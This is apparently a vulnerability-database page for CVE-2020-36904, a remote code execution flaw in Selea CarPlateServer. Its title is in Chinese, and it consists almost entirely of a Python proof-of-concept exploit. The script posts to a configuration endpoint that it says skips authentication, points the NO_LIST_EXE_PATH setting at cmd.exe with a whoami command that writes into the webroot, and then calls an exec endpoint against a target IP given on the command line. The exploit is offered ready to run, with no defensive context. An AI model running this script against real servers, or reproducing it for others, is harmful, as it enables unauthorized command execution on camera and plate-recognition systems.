CVE-2020-36904 | Selea CarPlateServer NO_LIST_EXE_PATH参数远程代码执行漏洞

import requests import sys # CVE-2020-36904 PoC - Selea CarPlateServer RCE via NO_LIST_EXE_PATH # Target: Selea CarPlateServer <= 4.0.1.6 def exploit(target_ip, target_port=80): """ Exploit CVE-2020-36904 by modifying NO_LIST_EXE_PATH parameter to execute arbitrary Windows binaries """ base_url = f"http://{target_ip}:{target_port}" # Step 1: Bypass authentication via /cps/ endpoint config_endpoint = f"{base_url}/cps/apis/config/set" # Malicious payload to modify NO_LIST_EXE_PATH payload = { "NO_LIST_EXE_PATH": "C:\\Windows\\System32\\cmd.exe", "param": "/c whoami > C:\\inetpub\\wwwroot\\output.txt" } print(f"[*] Targeting: {base_url}") print(f"[*] Exploiting /cps/ endpoint to modify configuration...") try: # Send configuration modification request response = requests.post(config_endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Configuration modified successfully!") print("[+] NO_LIST_EXE_PATH parameter updated") # Step 2: Trigger command execution exec_endpoint = f"{base_url}/cps/apis/exec" exec_payload = { "exe_path": "C:\\Windows\\System32\\cmd.exe", "args": "/c whoami" } print("[*] Triggering command execution...") exec_response = requests.post(exec_endpoint, data=exec_payload, timeout=10) if exec_response.status_code == 200: print("[+] Command execution successful!") print(f"[*] Response: {exec_response.text}") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) ip = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(ip, port)